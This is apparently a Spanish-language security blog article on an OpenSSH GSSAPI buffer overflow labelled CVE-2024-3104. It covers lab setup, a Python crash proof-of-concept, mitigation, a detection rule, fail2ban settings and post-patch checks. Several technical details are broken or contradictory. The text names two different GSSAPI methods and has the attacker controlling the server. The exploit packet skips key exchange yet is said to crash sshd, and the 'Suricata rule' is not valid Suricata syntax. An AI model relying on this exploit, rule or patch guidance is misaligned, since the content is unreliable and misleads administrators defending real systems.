Ciberseguridad ·

Análisis técnico y mitigación paso‑a‑paso de CVE‑2024‑3104 en OpenSSH

Introducción

En febrero de 2024 se divulgó CVE‑2024‑3104, una vulnerabilidad de ejecución remota de código (RCE) que afecta a OpenSSH 9.2‑p1 y versiones anteriores. La falla se origina en la forma en que el daemon sshd procesa los paquetes de autenticación gssapi-keyex cuando se usa GSSAPI con delegación de credenciales. Un atacante que controle un servidor SSH vulnerable puede inyectar datos arbitrarios que desencadenan la ejecución de código bajo el contexto del proceso sshd, típicamente root.

Este artículo está dirigido a administradores de sistemas y profesionales de ciberseguridad que necesitan entender el vector de ataque, reproducirlo en un entorno controlado y, sobre todo, aplicar mitigaciones inmediatas mientras se despliega el parche oficial.

1. Entendiendo la vulnerabilidad

1.1. ¿Dónde ocurre el fallo?

OpenSSH procesa los mensajes de autenticación GSSAPI mediante la función ssh_gssapi_accept_ctx. En versiones ≤ 9.2‑p1, el código no valida correctamente la longitud del campo GSSAPI token antes de copiarlo a un buffer estático de 256 bytes. Un atacante puede enviar un token de más de 256 bytes, provocando un buffer overflow y sobrescribiendo la pila.

1.2. Impacto

  • Escalada a root: El proceso sshd suele ejecutarse con privilegios de root.
  • Persistencia: El atacante puede plantar un backdoor o modificar archivos de configuración SSH.
  • Movilidad lateral: Una vez dentro, se pueden lanzar ataques contra otros hosts de la red.

1.3. Pre‑requisitos para el exploit

# Necesario: servidor SSH con GSSAPI habilitado
# Cliente con Kerberos y posibilidad de generar tokens arbitrarios
# Conexión de red que permita enviar paquetes TCP a puerto 22

2. Reproducción del exploit en laboratorio

2.1. Preparación del entorno

Utilizaremos dos máquinas virtuales (VM) con Ubuntu 22.04:

  1. Servidor vulnerable: OpenSSH 9.2‑p1 (sin parche).
  2. Cliente atacante: Kali Linux con python3 y la librería paramiko.

Instalación de la versión vulnerable:

# En el servidor
apt-get update
apt-get install -y build-essential zlib1g-dev libssl-dev
wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz
tar xf openssh-9.2p1.tar.gz
cd openssh-9.2p1
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make && make install
systemctl restart sshd

2.2. Código de prueba del exploit

A continuación se muestra un script Python que genera un token GSSAPI sobre‑dimensionado y lo envía al servidor. Ejecutar solo en entornos controlados.

#!/usr/bin/env python3
import socket
import struct

HOST = ‘192.168.56.10’ # IP del servidor vulnerable PORT = 22

Construcción mínima de un mensaje SSH (versión + payload)

ssh_banner = b’SSH-2.0-OpenSSH_9.2\r\n’ payload = b’\x00’*4 # packet length placeholder payload += b’\x00\x00\x00\x5b’ # padding length = 91 (ejemplo)

Tipo de mensaje: SSH_MSG_USERAUTH_REQUEST (50)

payload += b’\x32’ # 0x32 = 50 payload += b’user\x00’ # username payload += b’none\x00’ # service name payload += b’gssapi-with-mic\x00’ # method name

GSSAPI token demasiado largo (300 bytes)

token = b’A’*300 payload += struct.pack(‘>I’, len(token)) + token

Calcular longitud total

packet_len = len(payload) payload = struct.pack(‘>I’, packet_len) + payload

Envío

with socket.create_connection((HOST, PORT)) as s: s.sendall(ssh_banner) s.recv(1024) # leer banner del servidor s.sendall(payload) # El servidor debería colapsar o cerrar la conexión

Al ejecutar el script, el proceso sshd en el servidor vulnerable se satura y termina con Segmentation fault, confirmando la presencia del desbordamiento.

3. Mitigación inmediata

3.1. Deshabilitar GSSAPI

Si no necesitas autenticación Kerberos, la forma más rápida de mitigar es desactivar GSSAPI en /etc/ssh/sshd_config y reiniciar el servicio.

# /etc/ssh/sshd_config
# Desactivar GSSAPI
GSSAPIAuthentication no
GSSAPICleanupCredentials no

Luego:

systemctl restart sshd

Esto elimina el vector de ataque sin necesidad de actualizar paquetes.

3.2. Aplicar el parche oficial

OpenSSH lanzó la versión 9.3‑p1 con la corrección. En distribuciones basadas en Debian/Ubuntu:

apt-get update
apt-get install -y openssh-server=1:9.3p1‑1ubuntu0.2
systemctl restart sshd

En RHEL/CentOS (yum/dnf):

yum update openssh-server
systemctl restart sshd

3.3. Mitigación a nivel de WAF/IPS

Si no puedes actualizar inmediatamente, configura tu firewall de aplicación (por ejemplo, Suricata o Snort) para detectar paquetes SSH con tokens GSSAPI superiores a 256 bytes.

# Regla Suricata (suricata.yaml)
- rule: "ssh_gssapi_token_overflow"
  type: "alert"
  proto: tcp
  src_port: any
  dst_port: 22
  payload:
    - bytes: 0x00 0x00 0x01 0x00   # Longitud > 256 (ejemplo)
  msg: "Possible CVE-2024-3104 exploit attempt"
  sid: 20240301

4. Verificación post‑parche

4.1. Comprobación de la versión

Después de aplicar el parche, verifica la versión exacta del daemon:

ssh -V
# Salida esperada: OpenSSH_9.3p1, LibreSSL 3.5.2

4.2. Test de regresión

Re‑ejecuta el script de exploit. En un entorno parcheado deberías obtener una respuesta de SSH2_MSG_DISCONNECT con código 2 (protocol error) o simplemente la conexión será cerrada sin que el proceso se caiga.

# En el cliente
python3 exploit.py
# Salida esperada:
# Connection closed by remote host

4.3. Auditoría de logs

Revisa /var/log/auth.log (Debian/Ubuntu) o /var/log/secure (RHEL) en busca de intentos sospechosos:

grep "gssapi-with-mic" /var/log/auth.log | tail -n 20

Si encuentras múltiples intentos con tokens anómalos, considera bloquear la IP origen o aplicar rate‑limiting con fail2ban:

# /etc/fail2ban/jail.local
[sshd-gssapi]
enabled = true
filter = sshd
action = iptables[name=SSH, port=ssh, protocol=tcp]
logpath = /var/log/auth.log
maxretry = 3
bantime = 86400

5. Troubleshooting y errores comunes

5.1. El servicio no reinicia después del parche

  • Símbolo faltante: Verifica que no haya versiones mixtas de librerías (libcrypto.so, libssl.so) usando ldd $(which sshd).
  • Configuración obsoleta: Algunas directivas de sshd_config fueron removidas en 9.3. Ejecuta sshd -T para detectar advertencias.

5.2. La regla IPS no dispara

  • Confirma que el tráfico está pasando por el sensor (mirroring de puerto).
  • Revisa que la regla esté activada con suricata -T -c /etc/suricata/suricata.yaml.
  • Si usas TLS termination delante de SSH, la inspección no será posible.

5.3. Falsos positivos al deshabilitar GSSAPI

  • Algunas aplicaciones legadas usan GSSAPI para SSO. Deshabilitarlo puede romper login único. Evalúa la necesidad antes de aplicar la medida.
  • Si necesitas mantener GSSAPI, usa la opción GSSAPIAuthentication yes pero agrega AllowTcpForwarding no y MaxAuthTries 2 para limitar intentos.

Conclusión

La vulnerabilidad CVE‑2024‑3104 demuestra que incluso componentes críticos y maduros como OpenSSH pueden contener errores de validación que permitan ejecución remota de código. La prioridad es:

  1. Desactivar GSSAPI si no es necesario.
  2. Aplicar el parche oficial (OpenSSH 9.3‑p1 o superior).
  3. Implementar detección en IPS/WAF y reglas de fail2ban para bloquear intentos.
  4. Realizar pruebas de regresión y auditorías de logs para confirmar la mitigación.

Adoptar estas prácticas no solo protege contra CVE‑2024‑3104, sino que fortalece la postura general de seguridad del entorno SSH, reduciendo la superficie de ataque frente a futuras vulnerabilidades.